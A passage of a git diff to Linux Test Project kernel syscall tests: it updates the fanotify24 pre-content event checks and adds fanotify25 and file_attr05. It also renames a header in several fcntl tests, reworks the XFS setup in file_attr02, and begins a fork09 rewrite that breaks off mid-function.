b/ltp/testcases/kernel/syscalls/fanotify/fanotify24.c index 27f0663c..c4e84da6 100644 --- a/ltp/testcases/kernel/syscalls/fanotify/fanotify24.c +++ b/ltp/testcases/kernel/syscalls/fanotify/fanotify24.c @@ -7,8 +7,10 @@ */ /*\ - * - Test fanotify pre-content events + * - Test :manpage:`fanotify(7)` pre-content events * - Test respond to permission/pre-content events with cutsom error code + * - Test count/offset info bug that was fixed by commit + * 28bba2c2935e2 ("fsnotify: Pass correct offset to fsnotify_mmap_perm()") */ #define _GNU_SOURCE @@ -44,6 +46,8 @@ #define FILE_EXEC_PATH MOUNT_PATH"/"TEST_APP static char fname[BUF_SIZE]; +static char symlnk[BUF_SIZE]; +static char fdpath[BUF_SIZE]; static char buf[BUF_SIZE]; static volatile int fd_notify; static size_t page_sz; @@ -55,6 +59,8 @@ static char event_buf[EVENT_BUF_LEN]; struct event { unsigned long long mask; unsigned int response; + unsigned long pgcount; + unsigned long pgoff; }; static struct tcase { @@ -68,11 +74,11 @@ static struct tcase { INIT_FANOTIFY_MARK_TYPE(INODE), FAN_OPEN_PERM | FAN_PRE_ACCESS, { - {FAN_OPEN_PERM, FAN_ALLOW}, - {FAN_PRE_ACCESS, FAN_ALLOW}, - {FAN_PRE_ACCESS, FAN_ALLOW}, - {FAN_PRE_ACCESS, FAN_DENY_ERRNO(EIO)}, - {FAN_OPEN_PERM, FAN_DENY_ERRNO(EBUSY)} + {FAN_OPEN_PERM, FAN_ALLOW, 0, 0}, + {FAN_PRE_ACCESS, FAN_ALLOW, 2, 100}, + {FAN_PRE_ACCESS, FAN_ALLOW, 0, 0}, + {FAN_PRE_ACCESS, FAN_DENY_ERRNO(EIO), 0, 0}, + {FAN_OPEN_PERM, FAN_DENY_ERRNO(EBUSY), 0, 0} } }, { @@ -80,10 +86,10 @@ static struct tcase { INIT_FANOTIFY_MARK_TYPE(INODE), FAN_PRE_ACCESS | FAN_OPEN_EXEC_PERM, { - {FAN_PRE_ACCESS, FAN_ALLOW}, - {FAN_PRE_ACCESS, FAN_DENY}, - {FAN_PRE_ACCESS, FAN_DENY_ERRNO(EIO)}, - {FAN_OPEN_EXEC_PERM, FAN_DENY_ERRNO(EBUSY)} + {FAN_PRE_ACCESS, FAN_ALLOW, 2, 100}, + {FAN_PRE_ACCESS, FAN_DENY, 0, 0}, + {FAN_PRE_ACCESS, FAN_DENY_ERRNO(EIO), 0, 0}, + {FAN_OPEN_EXEC_PERM, FAN_DENY_ERRNO(EBUSY), 0, 0} } }, { @@ -91,11 +97,11 @@ static struct tcase { INIT_FANOTIFY_MARK_TYPE(MOUNT), FAN_OPEN_PERM | FAN_PRE_ACCESS, { - {FAN_OPEN_PERM, FAN_ALLOW}, - {FAN_PRE_ACCESS, FAN_ALLOW}, - {FAN_PRE_ACCESS, FAN_ALLOW}, - {FAN_PRE_ACCESS, FAN_DENY_ERRNO(EIO)}, - {FAN_OPEN_PERM, FAN_DENY_ERRNO(EBUSY)} + {FAN_OPEN_PERM, FAN_ALLOW, 0, 0}, + {FAN_PRE_ACCESS, FAN_ALLOW, 2, 100}, + {FAN_PRE_ACCESS, FAN_ALLOW, 1, 1}, + {FAN_PRE_ACCESS, FAN_DENY_ERRNO(EIO), 0, 0}, + {FAN_OPEN_PERM, FAN_DENY_ERRNO(EBUSY), 0, 0} } }, { @@ -103,10 +109,10 @@ static struct tcase { INIT_FANOTIFY_MARK_TYPE(MOUNT), FAN_PRE_ACCESS | FAN_OPEN_EXEC_PERM, { - {FAN_PRE_ACCESS, FAN_ALLOW}, - {FAN_PRE_ACCESS, FAN_DENY}, - {FAN_PRE_ACCESS, FAN_DENY_ERRNO(EIO)}, - {FAN_OPEN_EXEC_PERM, FAN_DENY_ERRNO(EBUSY)} + {FAN_PRE_ACCESS, FAN_ALLOW, 2, 100}, + {FAN_PRE_ACCESS, FAN_DENY, 0, 0}, + {FAN_PRE_ACCESS, FAN_DENY_ERRNO(EIO), 0, 0}, + {FAN_OPEN_EXEC_PERM, FAN_DENY_ERRNO(EBUSY), 0, 0} } }, { @@ -114,11 +120,11 @@ static struct tcase { INIT_FANOTIFY_MARK_TYPE(FILESYSTEM), FAN_OPEN_PERM | FAN_PRE_ACCESS, { - {FAN_OPEN_PERM, FAN_ALLOW}, - {FAN_PRE_ACCESS, FAN_ALLOW}, - {FAN_PRE_ACCESS, FAN_ALLOW}, - {FAN_PRE_ACCESS, FAN_DENY_ERRNO(EIO)}, - {FAN_OPEN_PERM, FAN_DENY_ERRNO(EBUSY)} + {FAN_OPEN_PERM, FAN_ALLOW, 0, 0}, + {FAN_PRE_ACCESS, FAN_ALLOW, 2, 100}, + {FAN_PRE_ACCESS, FAN_ALLOW, 1, 1}, + {FAN_PRE_ACCESS, FAN_DENY_ERRNO(EIO), 0, 0}, + {FAN_OPEN_PERM, FAN_DENY_ERRNO(EBUSY), 0, 0} } }, { @@ -126,10 +132,10 @@ static struct tcase { INIT_FANOTIFY_MARK_TYPE(FILESYSTEM), FAN_PRE_ACCESS | FAN_OPEN_EXEC_PERM, { - {FAN_PRE_ACCESS, FAN_ALLOW}, - {FAN_PRE_ACCESS, FAN_DENY}, - {FAN_PRE_ACCESS, FAN_DENY_ERRNO(EIO)}, - {FAN_OPEN_EXEC_PERM, FAN_DENY_ERRNO(EBUSY)} + {FAN_PRE_ACCESS, FAN_ALLOW, 2, 100}, + {FAN_PRE_ACCESS, FAN_DENY, 0, 0}, + {FAN_PRE_ACCESS, FAN_DENY_ERRNO(EIO), 0, 0}, + {FAN_OPEN_EXEC_PERM, FAN_DENY_ERRNO(EBUSY), 0, 0} } }, { @@ -137,10 +143,10 @@ static struct tcase { INIT_FANOTIFY_MARK_TYPE(PARENT), FAN_PRE_ACCESS | FAN_OPEN_EXEC_PERM | FAN_EVENT_ON_CHILD, { - {FAN_PRE_ACCESS, FAN_ALLOW}, - {FAN_PRE_ACCESS, FAN_DENY}, - {FAN_PRE_ACCESS, FAN_DENY}, - {FAN_OPEN_EXEC_PERM, FAN_DENY} + {FAN_PRE_ACCESS, FAN_ALLOW, 2, 100}, + {FAN_PRE_ACCESS, FAN_DENY, 0, 0}, + {FAN_PRE_ACCESS, FAN_DENY, 0, 0}, + {FAN_OPEN_EXEC_PERM, FAN_DENY, 0, 0} } }, { @@ -156,7 +162,7 @@ static struct tcase { FAN_PRE_ACCESS, { /* This allows multiple FAN_PRE_ACCESS events */ - {FAN_PRE_ACCESS, FAN_ALLOW}, + {FAN_PRE_ACCESS, FAN_ALLOW, 0, 0}, } }, }; @@ -190,17 +196,19 @@ static void generate_events(struct tcase *tc) */ fd = SAFE_OPEN(fname, O_RDWR | O_CREAT, 0700); - exp_errno = expected_errno(event->response); - event++; - + exp_errno = 0; + if (event->mask & FAN_PRE_ACCESS) { + exp_errno = expected_errno(event->response); + event++; + } exp_ret = exp_errno ? -1 : 1; - errno = 0; /* * FAN_PRE_ACCESS events are reported on map() and write(), but should * not be reported when faulting in the user page at offset page_sz*100 * that is used as an input buffer to the write() syscall. */ - addr = SAFE_MMAP(NULL, page_sz, PROT_READ, MAP_PRIVATE, fd, page_sz*100); + errno = 0; + addr = SAFE_MMAP(NULL, page_sz*2, PROT_READ, MAP_PRIVATE, fd, page_sz*100); if (!addr || errno != exp_errno) { tst_res(TFAIL, "mmap() got errno %d (expected %d)", errno, exp_errno); exit(3); @@ -208,12 +216,14 @@ static void generate_events(struct tcase *tc) tst_res(TINFO, "mmap() got errno %d as expected", errno); } - exp_errno = expected_errno(event->response); - event++; - + exp_errno = 0; + if (event->mask & FAN_PRE_ACCESS) { + exp_errno = expected_errno(event->response); + event++; + } exp_ret = exp_errno ? -1 : 1; errno = 0; - if (write(fd, addr, 1) != exp_ret || errno != exp_errno) { + if (pwrite(fd, addr, 1, page_sz) != exp_ret || errno != exp_errno) { tst_res(TFAIL, "write() got errno %d (expected %d)", errno, exp_errno); exit(3); } else if (errno == exp_errno) { @@ -222,12 +232,14 @@ static void generate_events(struct tcase *tc) SAFE_LSEEK(fd, 0, SEEK_SET); - exp_errno = expected_errno(event->response); - event++; - + exp_errno = 0; + if (event->mask & FAN_PRE_ACCESS) { + exp_errno = expected_errno(event->response); + event++; + } exp_ret = exp_errno ? -1 : BUF_SIZE; errno = 0; - if (read(fd, buf, BUF_SIZE) != exp_ret || errno != exp_errno) { + if (pread(fd, buf, BUF_SIZE, page_sz*2) != exp_ret || errno != exp_errno) { tst_res(TFAIL, "read() got errno %d (expected %d)", errno, exp_errno); exit(4); } else if (errno == exp_errno) { @@ -236,9 +248,11 @@ static void generate_events(struct tcase *tc) SAFE_CLOSE(fd); - exp_errno = expected_errno(event->response); - event++; - + exp_errno = 0; + if (event->mask & (FAN_OPEN_PERM | FAN_OPEN_EXEC_PERM)) { + exp_errno = expected_errno(event->response); + event++; + } /* * If execve() is allowed by permission events, check if executing a * file that open for write is allowed. @@ -346,6 +360,21 @@ static int setup_mark(unsigned int n) return 0; } +static char *event_fdpath(struct fanotify_event_metadata *event) +{ + int len = 0; + + if (event->fd < 0) + return ""; + + sprintf(symlnk, "/proc/self/fd/%d", event->fd); + len = readlink(symlnk, fdpath, sizeof(fdpath)); + if (len < 0) + len = 0; + fdpath[len] = 0; + return fdpath; +} + static void test_fanotify(unsigned int n) { int ret, len = 0, i = 0, test_num = 0; @@ -366,6 +395,7 @@ static void test_fanotify(unsigned int n) while (test_num < EVENT_SET_MAX && fd_notify != -1) { struct fanotify_event_metadata *event; struct fanotify_event_info_range *range; + const char *filename; if (i == len) { /* Get more events */ @@ -395,6 +425,7 @@ static void test_fanotify(unsigned int n) event = (struct fanotify_event_metadata *)&event_buf[i]; range = (struct fanotify_event_info_range *)(event + 1); + filename = event_fdpath(event); /* Permission events cannot be merged, so the event mask * reported should exactly match the event mask within the * event set. @@ -402,41 +433,53 @@ static void test_fanotify(unsigned int n) if (event->mask != event_set[test_num].mask) { tst_res(TFAIL, "got event: mask=%llx (expected %llx) " - "pid=%u fd=%d", + "pid=%u fd=%d [%s]", (unsigned long long)event->mask, event_set[test_num].mask, - (unsigned int)event->pid, event->fd); + (unsigned int)event->pid, event->fd, filename); } else if (event->pid != child_pid) { tst_res(TFAIL, "got event: mask=%llx pid=%u " - "(expected %u) fd=%d", + "(expected %u) fd=%d [%s]", (unsigned long long)event->mask, (unsigned int)event->pid, (unsigned int)child_pid, - event->fd); + event->fd, filename); } else if (event->mask & LTP_PRE_CONTENT_EVENTS) { + unsigned long long expected_count = event_set[test_num].pgcount * page_sz; + unsigned long long expected_offset = event_set[test_num].pgoff * page_sz; + if (event->event_len < sizeof(*event) + sizeof(*range) || range->hdr.info_type != FAN_EVENT_INFO_TYPE_RANGE) { tst_res(TFAIL, "got event: mask=%llx pid=%u len=%d fd=%d " - "(expected range info)", + "(expected range info) [%s]", (unsigned long long)event->mask, (unsigned int)event->pid, (unsigned int)event->event_len, - event->fd); + event->fd, filename); + } else if (expected_count && (range->count != expected_count || + range->offset != expected_offset)) { + tst_res(TFAIL, + "got event: mask=%llx pid=%u fd=%d " + "count=%llu offset=%llu (expected %llu@%llu) [%s]", + (unsigned long long)event->mask, + (unsigned int)event->pid, event->fd, + range->count, range->offset, + expected_count, expected_offset, filename); } else { tst_res(TPASS, "got event: mask=%llx pid=%u fd=%d " - "offset=%llu count=%llu", + "count=%llu offset=%llu [%s]", (unsigned long long)event->mask, (unsigned int)event->pid, event->fd, - range->offset, range->count); + range->count, range->offset, filename); } } else { tst_res(TPASS, - "got event: mask=%llx pid=%u fd=%d", + "got event: mask=%llx pid=%u fd=%d [%s]", (unsigned long long)event->mask, - (unsigned int)event->pid, event->fd); + (unsigned int)event->pid, event->fd, filename); } /* Write response to the permission event */ @@ -481,7 +524,7 @@ static void setup(void) sprintf(fname, MOUNT_PATH"/fname_%d", getpid()); SAFE_FILE_PRINTF(fname, "1"); - SAFE_TRUNCATE(fname, page_sz*101); + SAFE_TRUNCATE(fname, page_sz*102); REQUIRE_FANOTIFY_EVENTS_SUPPORTED_ON_FS(FAN_CLASS_PRE_CONTENT, FAN_MARK_FILESYSTEM, FAN_PRE_ACCESS, fname); @@ -511,7 +554,11 @@ static struct tst_test test = { .mount_device = 1, .all_filesystems = 1, .mntpoint = MOUNT_PATH, - .resource_files = resource_files + .resource_files = resource_files, + .tags = (const struct tst_tag[]) { + {"linux-git", "28bba2c2935e2"}, + {} + } }; #else diff --git a/ltp/testcases/kernel/syscalls/fanotify/fanotify25.c b/ltp/testcases/kernel/syscalls/fanotify/fanotify25.c new file mode 100644 index 00000000..d2d3f6e6 --- /dev/null +++ b/ltp/testcases/kernel/syscalls/fanotify/fanotify25.c @@ -0,0 +1,126 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2026 SUSE LLC + * Author: Petr Pavlu <ppavlu@suse.cz> + * LTP port: Martin Doucha <mdoucha@suse.cz> + */ + +/*\ + * Verify that :manpage:`fanotify(7)` monitoring can be applied to the tracing + * filesystem and write events will be correctly delivered. + */ + +#define _GNU_SOURCE +#include "tst_test.h" +#include "lapi/mount.h" + +#ifdef HAVE_SYS_FANOTIFY_H +#include "fanotify.h" + +#define MNTPOINT "/sys/kernel/tracing" +#define EVENTS_SYSFILE MNTPOINT "/kprobe_events" + +static const struct traceconfig { + const char *filename; + const char *wdata; +} trace_cmds[] = { + {EVENTS_SYSFILE, "p:ltp_oom_kill_process_0 oom_kill_process"}, + {MNTPOINT "/events/kprobes/ltp_oom_kill_process_0/enable", "1"}, + {MNTPOINT "/events/kprobes/ltp_oom_kill_process_0/enable", "0"}, + {EVENTS_SYSFILE, "-:ltp_oom_kill_process_0"}, + {} +}; + +static int fan_fd = -1; +static int unmount_needed; + +static void setup(void) +{ + if (tst_fs_type(MNTPOINT) != TST_TRACEFS_MAGIC) { + SAFE_MOUNT("tracefs", MNTPOINT, "tracefs", + MS_NODEV | MS_NOEXEC | MS_NOSUID, NULL); + unmount_needed = 1; + } + + if (access(EVENTS_SYSFILE, F_OK)) + tst_brk(TCONF, "Kprobe events not supported by kernel"); + + fan_fd = SAFE_FANOTIFY_INIT(FAN_CLASS_NOTIF | FAN_NONBLOCK, O_RDONLY); + SAFE_FANOTIFY_MARK(fan_fd, FAN_MARK_ADD | FAN_MARK_MOUNT, FAN_MODIFY, + -1, MNTPOINT); +} + +static void do_child(void) +{ + int i, fd, events, ret; + pid_t pid = getpid(); + struct fanotify_event_metadata buf; + + for (i = 0, events = 0; trace_cmds[i].filename; i++) { + fd = SAFE_OPEN(trace_cmds[i].filename, O_WRONLY, 0644); + SAFE_WRITE(1, fd, trace_cmds[i].wdata, + strlen(trace_cmds[i].wdata)); + SAFE_CLOSE(fd); + + while ((ret = read(fan_fd, &buf, sizeof(buf))) > 0) { + if (buf.pid != pid) + continue; + + if (!(buf.mask & FAN_MODIFY)) { + tst_res(TFAIL, "Unexpected event %llx", + buf.mask); + continue; + } + + events++; + } + + if (ret < 0 && errno != EAGAIN) + tst_res(TFAIL | TERRNO, "fanotify read() failed"); + } + + if (events == i) + tst_res(TPASS, "Received %d events", events); + else + tst_res(TFAIL, "Received %d events, expected %d", events, i); +} + +static void run(void) +{ + /* + * Fork a child to do the actual trace writes, otherwise tracefs + * would be busy until the current process exits and it would become + * impossible to unmount in cleanup(). + */ + if (!SAFE_FORK()) { + do_child(); + SAFE_CLOSE(fan_fd); + exit(0); + } +} + +static void cleanup(void) +{ + if (fan_fd >= 0) + SAFE_CLOSE(fan_fd); + + if (unmount_needed) + SAFE_UMOUNT(MNTPOINT); +} + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .cleanup = cleanup, + .needs_root = 1, + .forks_child = 1, + .taint_check = TST_TAINT_W | TST_TAINT_D, + .needs_kconfigs = (const char *[]) { + "CONFIG_TRACING", + NULL + } +}; + +#else + TST_TEST_TCONF("system doesn't have required fanotify support"); +#endif diff --git a/ltp/testcases/kernel/syscalls/fchmod/fchmod06.c b/ltp/testcases/kernel/syscalls/fchmod/fchmod06.c index 458239a2..37314e7d 100644 --- a/ltp/testcases/kernel/syscalls/fchmod/fchmod06.c +++ b/ltp/testcases/kernel/syscalls/fchmod/fchmod06.c @@ -7,7 +7,7 @@ */ /*\ - * Verify that :man2:`fchmod` fails and sets the proper errno values: + * Verify that :manpage:`fchmod(2)` fails and sets the proper errno values: * * - EPERM -- the effective UID does not match the owner of the file, and the process is not privileged * - EBADF -- file descriptor was closed diff --git a/ltp/testcases/kernel/syscalls/fcntl/fcntl07.c b/ltp/testcases/kernel/syscalls/fcntl/fcntl07.c index 10d1186f..cc0607e1 100644 --- a/ltp/testcases/kernel/syscalls/fcntl/fcntl07.c +++ b/ltp/testcases/kernel/syscalls/fcntl/fcntl07.c @@ -51,7 +51,7 @@ #include <limits.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" static void setup(void); static void cleanup(void); diff --git a/ltp/testcases/kernel/syscalls/fcntl/fcntl11.c b/ltp/testcases/kernel/syscalls/fcntl/fcntl11.c index 4fd9fcca..9012d358 100644 --- a/ltp/testcases/kernel/syscalls/fcntl/fcntl11.c +++ b/ltp/testcases/kernel/syscalls/fcntl/fcntl11.c @@ -45,7 +45,7 @@ #include <sys/wait.h> #include <inttypes.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #define STRINGSIZE 27 #define STRING "abcdefghijklmnopqrstuvwxyz\n" diff --git a/ltp/testcases/kernel/syscalls/fcntl/fcntl16.c b/ltp/testcases/kernel/syscalls/fcntl/fcntl16.c index 4ae9e6e7..cdbb82b8 100644 --- a/ltp/testcases/kernel/syscalls/fcntl/fcntl16.c +++ b/ltp/testcases/kernel/syscalls/fcntl/fcntl16.c @@ -46,7 +46,7 @@ #include <signal.h> #include <errno.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #include <sys/stat.h> #include <sys/types.h> #include <sys/wait.h> diff --git a/ltp/testcases/kernel/syscalls/fcntl/fcntl19.c b/ltp/testcases/kernel/syscalls/fcntl/fcntl19.c index a58e921c..4792bf6c 100644 --- a/ltp/testcases/kernel/syscalls/fcntl/fcntl19.c +++ b/ltp/testcases/kernel/syscalls/fcntl/fcntl19.c @@ -49,7 +49,7 @@ #include <inttypes.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #define STRINGSIZE 27 #define STRING "abcdefghijklmnopqrstuvwxyz\n" diff --git a/ltp/testcases/kernel/syscalls/fcntl/fcntl20.c b/ltp/testcases/kernel/syscalls/fcntl/fcntl20.c index f271eeb2..c7c554b2 100644 --- a/ltp/testcases/kernel/syscalls/fcntl/fcntl20.c +++ b/ltp/testcases/kernel/syscalls/fcntl/fcntl20.c @@ -45,7 +45,7 @@ #include <sys/wait.h> #include <inttypes.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #define STRINGSIZE 27 #define STRING "abcdefghijklmnopqrstuvwxyz\n" diff --git a/ltp/testcases/kernel/syscalls/fcntl/fcntl31.c b/ltp/testcases/kernel/syscalls/fcntl/fcntl31.c index f5c4f839..2aab4a91 100644 --- a/ltp/testcases/kernel/syscalls/fcntl/fcntl31.c +++ b/ltp/testcases/kernel/syscalls/fcntl/fcntl31.c @@ -35,7 +35,7 @@ #include "test.h" #include "config.h" #include "lapi/syscalls.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #include "lapi/fcntl.h" static void setup(void); diff --git a/ltp/testcases/kernel/syscalls/fcntl/fcntl32.c b/ltp/testcases/kernel/syscalls/fcntl/fcntl32.c index f567acc7..912d0566 100644 --- a/ltp/testcases/kernel/syscalls/fcntl/fcntl32.c +++ b/ltp/testcases/kernel/syscalls/fcntl/fcntl32.c @@ -24,7 +24,7 @@ #include <errno.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" static void setup(void); static void verify_fcntl(int); diff --git a/ltp/testcases/kernel/syscalls/fdatasync/fdatasync02.c b/ltp/testcases/kernel/syscalls/fdatasync/fdatasync02.c index 9ce4fc7b..6181dab8 100644 --- a/ltp/testcases/kernel/syscalls/fdatasync/fdatasync02.c +++ b/ltp/testcases/kernel/syscalls/fdatasync/fdatasync02.c @@ -76,7 +76,7 @@ #include <fcntl.h> #include <unistd.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #define EXP_RET_VAL -1 #define SPL_FILE "/dev/null" diff --git a/ltp/testcases/kernel/syscalls/file_attr/.gitignore b/ltp/testcases/kernel/syscalls/file_attr/.gitignore index 3fcb9004..42f830a7 100644 --- a/ltp/testcases/kernel/syscalls/file_attr/.gitignore +++ b/ltp/testcases/kernel/syscalls/file_attr/.gitignore @@ -2,3 +2,4 @@ file_attr01 file_attr02 file_attr03 file_attr04 +file_attr05 diff --git a/ltp/testcases/kernel/syscalls/file_attr/file_attr02.c b/ltp/testcases/kernel/syscalls/file_attr/file_attr02.c index 4e0d87f0..f6625985 100644 --- a/ltp/testcases/kernel/syscalls/file_attr/file_attr02.c +++ b/ltp/testcases/kernel/syscalls/file_attr/file_attr02.c @@ -9,12 +9,13 @@ * currently implementing the features we need. */ +#include <sys/mount.h> #include "tst_test.h" #include "lapi/fs.h" #define MNTPOINT "mntpoint" #define FILENAME "ltp_file" -#define BLOCKS 1024 +#define BLOCKS 128 #define PROJID 16 static int fd = -1; @@ -41,9 +42,18 @@ static void run(void) static void setup(void) { - int block_size; + struct stat statbuf; - block_size = tst_dev_block_size(MNTPOINT); + SAFE_MKDIR(MNTPOINT, 0755); + TEST(mount(tst_device->dev, MNTPOINT, tst_device->fs_type, 0, NULL)); + + if (TST_RET == -1 && TST_ERR == EOPNOTSUPP) + tst_brk(TCONF, "Kernel does not support XFS reflinks"); + + if (TST_RET) + tst_brk(TBROK | TTERRNO, "Mount failed"); + + SAFE_STAT(MNTPOINT, &statbuf); dfd = SAFE_OPEN(MNTPOINT, O_RDONLY); fd = SAFE_CREAT(MNTPOINT "/" FILENAME, 0777); @@ -52,8 +62,8 @@ static void setup(void) xattr.fsx_xflags |= FS_XFLAG_EXTSIZE; xattr.fsx_xflags |= FS_XFLAG_COWEXTSIZE; - xattr.fsx_extsize = BLOCKS * block_size; - xattr.fsx_cowextsize = BLOCKS * block_size; + xattr.fsx_extsize = BLOCKS * statbuf.st_blksize; + xattr.fsx_cowextsize = BLOCKS * statbuf.st_blksize; xattr.fsx_projid = PROJID; SAFE_IOCTL(fd, FS_IOC_FSSETXATTR, &xattr); @@ -72,17 +82,24 @@ static void cleanup(void) if (dfd != -1) SAFE_CLOSE(dfd); + + if (tst_is_mounted(MNTPOINT)) + SAFE_UMOUNT(MNTPOINT); } static struct tst_test test = { .test_all = run, .setup = setup, .cleanup = cleanup, - .mntpoint = MNTPOINT, .needs_root = 1, - .mount_device = 1, + .format_device = 1, .filesystems = (struct tst_fs []) { - {.type = "xfs"}, + { + .type = "xfs", + .mkfs_opts = (const char *const[]){ + "-m", "reflink=1", NULL + }, + }, {} }, .bufs = (struct tst_buffers []) { diff --git a/ltp/testcases/kernel/syscalls/file_attr/file_attr05.c b/ltp/testcases/kernel/syscalls/file_attr/file_attr05.c new file mode 100644 index 00000000..6c1471da --- /dev/null +++ b/ltp/testcases/kernel/syscalls/file_attr/file_attr05.c @@ -0,0 +1,63 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2025 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com> + */ + +/*\ + * Verify that `file_setattr` is correctly raising EOPNOTSUPP when filesystem + * doesn't support FSX operations. + */ + +#include "tst_test.h" +#include "lapi/fs.h" + +#define MNTPOINT "mntpoint" +#define FILEPATH (MNTPOINT "/ltp_file") +#define BLOCKS 128 +#define PROJID 16 + +static struct file_attr *attr_set; + +static void run(void) +{ + TST_EXP_FAIL(file_setattr(AT_FDCWD, FILEPATH, + attr_set, FILE_ATTR_SIZE_LATEST, 0), EOPNOTSUPP); +} + +static void setup(void) +{ + struct stat statbuf; + + SAFE_TOUCH(FILEPATH, 0777, NULL); + + SAFE_STAT(MNTPOINT, &statbuf); + + attr_set->fa_xflags |= FS_XFLAG_EXTSIZE; + attr_set->fa_xflags |= FS_XFLAG_COWEXTSIZE; + attr_set->fa_extsize = BLOCKS * statbuf.st_blksize; + attr_set->fa_cowextsize = BLOCKS * statbuf.st_blksize; + attr_set->fa_projid = PROJID; +} + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .mntpoint = MNTPOINT, + .needs_root = 1, + .mount_device = 1, + .all_filesystems = 1, + .skip_filesystems = (const char *const []) { + "xfs", + "fuse", /* EINVAL is raised before EOPNOTSUPP */ + "vfat", /* vfat is not implementing file_[set|get]attr */ + NULL, + }, + .bufs = (struct tst_buffers []) { + {&attr_set, .size = sizeof(struct file_attr)}, + {} + }, + .tags = (const struct tst_tag[]) { + {"linux-git", "474b155adf392"}, + {}, + } +}; diff --git a/ltp/testcases/kernel/syscalls/fork/fork09.c b/ltp/testcases/kernel/syscalls/fork/fork09.c index 32bad89b..332f0d36 100644 --- a/ltp/testcases/kernel/syscalls/fork/fork09.c +++ b/ltp/testcases/kernel/syscalls/fork/fork09.c @@ -1,172 +1,99 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - * - * NAME - * fork09.c - * - * DESCRIPTION - * Check that child has access to a full set of files. - * - * ALGORITHM - * Parent opens a maximum number of files - * Child closes one and attempts to open another, it should be - * available - * - * USAGE - * fork09 - * - * HISTORY + * Copyright (c) International Business Machines Corp., 2001 * 07/2001 Ported by Wayne Boyer - * * 10/2008 Suzuki K P <suzuki@in.ibm.com> - * Fix maximum number of files open logic. * - * RESTRICTIONS - * None + * Copyright (C) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com> */ -#include <sys/types.h> -#include <sys/wait.h> -#include <sys/stat.h> -#include <fcntl.h> -#include <stdio.h> -#include <errno.h> -#include <unistd.h> /* for _SC_OPEN_MAX */ -#include "test.h" -#include "safe_macros.h" - -char *TCID = "fork09"; -int TST_TOTAL = 1; +/*\ + * Verify that a forked child can close all the files which have been open by + * the parent process, after closing and re-opening. + */ -static void setup(void); -static void cleanup(void); +#include "tst_test.h" +#include "tst_safe_stdio.h" -static char filname[40], childfile[40]; -static int first; -static FILE **fildeses; /* file streams */ -static int mypid, nfiles; +#define FILE_PREFIX "ltp_file" -#define OPEN_MAX (sysconf(_SC_OPEN_MAX)) +static FILE **open_files; +static long file_open_max; -int main(int ac, char **av) +static void run(void) { - int pid, status, nf; - - int lc; - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); - - fildeses = malloc((OPEN_MAX + 10) * sizeof(FILE *)); - if (fildeses == NULL) - tst_brkm(TBROK, cleanup, "malloc failed"); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - tst_count = 0; - mypid = getpid(); - - tst_resm(TINFO, "OPEN_MAX is %ld", OPEN_MAX); - - /* establish first free file */ - sprintf(filname, "fork09.%d", mypid); - first = SAFE_CREAT(cleanup, filname, 0660); - close(first); - - tst_resm(TINFO, "first file descriptor is %d ", first); - - SAFE_UNLINK(cleanup, filname); - - /* - * now open all the files for the test - */ - for (nfiles = first; nfiles < OPEN_MAX; nfiles++) { - sprintf(filname, "file%d.%d", nfiles, mypid); - fildeses[nfiles] = fopen(filname, "a"); - if (fildeses[nfiles] == NULL) { - /* Did we already reach OPEN_MAX ? */ - if (errno == EMFILE) - break; - tst_brkm(TBROK, cleanup, "Parent: cannot open " - "file %d %s errno = %d", nfiles, - filname, errno); - } -#ifdef DEBUG - tst_resm(TINFO, "filname: %s", filname); -#endif - } + FILE *f; + long nfiles; + long totfiles; + int name_len; + char name[PATH_MAX]; + char reopen[PATH_MAX]; - tst_resm(TINFO, "Parent reporting %d files open", nfiles - 1); - - pid = fork(); - if (pid == -1) - tst_brkm(TBROK, cleanup, "Fork failed"); - - if (pid == 0) { /* child */ - nfiles--; - if (fclose(fildeses[nfiles]) == -1) { - tst_resm(TINFO, "Child could not close file " - "#%d, errno = %d", nfiles, errno); - exit(1); - } else { - sprintf(childfile, "cfile.%d", getpid()); - fildeses[nfiles] = fopen(childfile, "a"); - if (fildeses[nfiles] == NULL) { - tst_resm(TINFO, "Child could not open " - "file %s, errno = %d", - childfile, errno); - exit(1); - } else { - tst_resm(TINFO, "Child opened new " - "file #%d", nfiles); - unlink(childfile); - exit(0); - } - } - } else { /* parent */ - wait(&status); - if (status >> 8 != 0) - tst_resm(TFAIL, "test 1 FAILED"); - else - tst_resm(TPASS, "test 1 PASSED"); - } + memset(reopen, 0, PATH_MAX); + + tst_res(TINFO, "Opening files from parent"); + + for (nfiles = 0; nfiles < file_open_max; nfiles++) { + name_len = snprintf(name, PATH_MAX, "%s%lu", FILE_PREFIX, nfiles); + if (!nfiles) + memcpy(reopen, name, name_len); - /* clean up things in case we are looping */ - for (nf = first; nf < nfiles; nf++) { - fclose(fildeses[nf]); - sprintf(filname, "file%d.%d", nf, mypid); - unlink(filname); + f = fopen(name, "a"); + if (!f) { + /* raised if we reached OPEN_MAX */ + if (errno == EMFILE) + break; + + tst_brk(TBROK | TERRNO, "fopen() error"); } + + open_files[nfiles] = f; } - cleanup(); - tst_exit(); + totfiles = nfiles; + + if 